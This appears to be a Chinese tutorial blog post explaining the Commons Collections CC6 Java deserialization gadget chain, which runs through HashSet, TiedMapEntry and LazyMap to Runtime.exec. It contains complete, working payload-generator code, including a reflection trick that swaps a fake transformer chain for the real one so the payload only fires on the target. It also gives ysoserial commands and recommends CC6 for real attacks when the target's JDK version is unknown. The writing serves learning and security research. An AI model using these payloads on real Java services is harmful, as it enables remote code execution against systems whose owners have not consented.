
在学 CC1 的时候就注意到它有两个比较关键的版本限制:
这就导致一个很现实的问题:很多生产环境跑的 JDK 版本不一定刚好在 8u71 以下,CC1 的适用范围其实挺窄的。
CC6 的解法思路很直接——把触发入口整个换掉,不走 AnnotationInvocationHandler 这条路,改用 HashSet → TiedMapEntry → LazyMap.get() 来触发。因为新的触发路径不依赖那个被改掉的类,所以:
说白了,CC6 就是拿 CC1 的执行链(ChainedTransformer 那套),然后换了一个新的"引爆方式"。
CC1 依赖 AnnotationInvocationHandler.readObject() 来触发 LazyMap.get(),而这个类在 8u71 被修改了。CC6 的思路是完全换一个触发入口,找一个在任意 JDK 版本下,readObject() 都会调用 hashCode() 的类。这个答案就是 HashSet。
HashSet.readObject()
→ HashMap.put()
→ HashMap.hash(key)
→ TiedMapEntry.hashCode()
→ TiedMapEntry.getValue()
→ LazyMap.get()
→ ChainedTransformer.transform()
→ InvokerTransformer.transform()
→ Runtime.exec()后半段(LazyMap 之后)和 CC1 LazyMap 版本一模一样,区别就在前半段的触发方式。
这部分和 CC1 完全一样,通过反射拿到 Runtime 然后执行命令:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);执行效果等价于 Runtime.getRuntime().exec("calc")。
CC6 依然借用 LazyMap,核心还是它的 get() 方法:
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = factory.transform(key); // 触发我们的 chain
super.map.put(key, value);
return value;
}
return super.map.get(key);
}只要用一个不存在的 key 去调 lazyMap.get(key),就会走 transform 逻辑。
LazyMap 的构造方法是 protected,所以要用它暴露出来的 decorate() 工厂方法来构造:
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);这里就和 CC1 分叉了。CC1 是靠 AnnotationInvocationHandler.invoke() 里的 get 来触发,而 CC6 选的是 TiedMapEntry.getValue()。
TiedMapEntry 也是 commons-collections 里的一个类,它持有一个 map 和一个 key。

它的 getValue() 方法:

public Object getValue() {
return map.get(key); // 直接调用传入 map 的 get 方法
}如果让 TiedMapEntry 内部的 map 指向我们构造的 LazyMap,那么:
调用
tiedMapEntry.getValue()→ 调用lazyMap.get(key)→ 触发命令执行
并且 TiedMapEntry 的构造方法是 public 的,可以直接 new:
TiedMapEntry entry = new TiedMapEntry(lazyMap, "xxx");
entry.getValue(); // 此时可以直接触发key 的值没有严格要求,随便写一个字符串就行。

在 TiedMapEntry 的同一个文件里,找到了 hashCode() 方法,它内部会调用 getValue():


看到这里可能会觉得:getValue() 和 hashCode() 不都能直接触发吗,有什么区别?
确实,单独调用这两个都能触发,但 hashCode 是 CC6 绕过 JDK 限制的关键所在——因为 HashSet 的 readObject() 方法在反序列化时会自动调用 hashCode(),不需要我们手动触发。
看一下 HashSet 的 readObject() 方法:

// HashSet.readObject() 简化逻辑
for (int i = 0; i < size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT); // map 是 HashMap,e 是我们的 TiedMapEntry
}跟进 map.put(e, PRESENT) 会发现内部会调用 put 函数:

然后是 hash 函数:

这里的 key 就是 map.put(e, PRESENT) 里的 e,也就是我们的 TiedMapEntry,所以最终会调用 TiedMapEntry.hashCode()。
而整个逻辑都在 HashSet.readObject() 里面,也就是说:反序列化 HashSet 时必然触发这条链。
调用链搞清楚之后,开始动手构造 HashSet 对象。可以看到 HashSet 的构造方法不需要传参:

但如果直接写成这样:
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "xxx");
HashSet hashSet = new HashSet();此时 HashSet 和 TiedMapEntry 还没有关联,没有效果:

需要把 TiedMapEntry 添加进 HashSet,才能在 readObject 的 for 循环里被遍历到。构造方法不传参,所以用 add:
hashSet.add(entry);但这里就碰到问题了。

add() 方法内部也会调用 map.put(e, PRESENT),这意味着在本地添加元素的时候就已经触发了一次 hashCode(),链子直接在序列化阶段就跑了。
如果 payload 直接这么写:
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "xxx");
HashSet hashSet = new HashSet();
hashSet.add(entry); // ⚠️ 这里就执行了 calc,计算器直接在本机弹了
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"))) {
oos.writeObject(hashSet);
}序列化的时候就被触发了:

反序列化的时候反而没有触发:

问题出在 LazyMap 的 get() 方法里的缓存机制:

public Object get(Object key) {
// 关键判断:检查 map 仓库里是否已经有了这个 key
if (map.containsKey(key) == false) {
// 只有仓库里【没有】这个 key,才会触发 transform
Object value = factory.transform(key);
// 进货完成后,把结果存入仓库(产生缓存)
map.put(key, value);
return value;
}
// 如果仓库里【已经有】这个 key 了,直接返回旧值
// 此时根本不会走到上面的 transform() 逻辑
return map.get(key);
}一句话总结:只要 innerMap 不是空的,恶意链就永远没机会上场。
整个流程是这样的:
hashSet.add(entry) 触发了 lazyMap.get("xxx"){"xxx": 结果} 这个键值对缓存到 innerMap 里lazyMap.get("xxx")既然问题是缓存,那清掉就行了:
hashSet.add(entry); // 此时触发命令,innerMap 产生缓存
innerMap.clear(); // 清空缓存,之后序列化进去的 innerMap 是空的完整 payload(简化版,序列化时会弹一次,反序列化时再弹一次):
public class CC6Simple {
public static void main(String[] args) throws Exception {
// 1. 真正的恶意链
Transformer[] trueTransformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer trueChain = new ChainedTransformer(trueTransformers);
// 2. 构造 LazyMap
Map innerMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(innerMap, trueChain);
// 3. 创建 TiedMapEntry 并添加进 HashSet
TiedMapEntry entry = new TiedMapEntry(lazyMap, "xxx");
HashSet hashSet = new HashSet();
hashSet.add(entry); // ⚠️ 此时会弹一次计算器,innerMap 产生缓存
// 4. 清空缓存,否则反序列化时 LazyMap.get 会直接返回旧值
innerMap.clear();
// 5. 序列化
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"))) {
oos.writeObject(hashSet);
}
System.out.println("payload.ser 生成完毕");
}
}运行效果:序列化时弹一次(因为 add 触发),但 innerMap 已被清空:

反序列化时正常触发:

如果不想让序列化阶段弹窗(更接近实战场景),可以先用假链条占位,等 add 完成之后再通过反射把真链换进去,最后清缓存。
思路:
public class CC6Generator {
public static void main(String[] args) throws Exception {
// 1. 真正的恶意链条
Transformer[] trueTransformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer trueChain = new ChainedTransformer(trueTransformers);
// 2. 构造假链条——防止本地弹窗
Transformer fakeChain = new ConstantTransformer(1);
// 也可以用 ChainedTransformer 包一个 ConstantTransformer(1) 的数组
//Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1) };
//ChainedTransformer fakeChain = new ChainedTransformer(fakeTransformers);
// 3. 组装 LazyMap 和 TiedMapEntry,绑定的是假链
Map innerMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(innerMap, fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "pwn");
// 4. 添加进 HashSet,触发假链(innerMap 产生缓存 {"pwn": 1},但不弹窗)
HashSet hashSet = new HashSet();
hashSet.add(entry);
// ===== 反射调包环节 =====
// 5. 反射:将 LazyMap 的 factory 字段从假链换成真链
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, trueChain);
// 6. 清空 innerMap 缓存
// 必须清空,否则反序列化时 containsKey("pwn") 成立,直接返回旧值,不触发命令
innerMap.clear();
// ===== 序列化输出 =====
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"))) {
oos.writeObject(hashSet);
}
System.out.println("Payload 生成完毕!序列化阶段未触发,缓存已清空。");
}
}效果:序列化阶段不触发,反序列化时正常弹窗。
补充:上面假链用的接口是
Transformer可以传入int参数,其实也可以换成 ChainedTransformer 接口。但 ChainedTransformer 的构造函数需要传入Transformer[]数组,不能直接传 int,所以需要包一层: Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1) }; ChainedTransformer fakeChain = new ChainedTransformer(fakeTransformers);
ysoserial 里也有 CC6 的实现,可以直接用:
java -jar ysoserial.jar CommonsCollections6 "calc" > cc6.ser
把生成的 cc6.ser 放到项目根目录,用之前写的反序列化代码跑一下,可以正常触发:

在 ysoserial/payloads/ 下能找到 CommonsCollections6.class:

看了下源码,ysoserial 的实现思路大差不差,不过它不是先传假链,而是直接传了一个无害字符串占位,然后通过反射直接修改底层的链条。另外原版还做了更多细节处理来保证兼容性,总体思路是一致的。
CC6 在 JDK 版本兼容性 和 依赖环境稳定性 上远优于 CC1、CC2 这些链:
所以在实际打 Java 反序列化的时候,如果不确定对端 JDK 版本,CC6 往往是优先选择的链。
ysoserial 使用方式:
java -jar ysoserial.jar [利用链名称] '[要执行的命令]' > payload.bin
# 例如:
java -jar ysoserial.jar CommonsCollections6 "calc" > cc6.ser原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。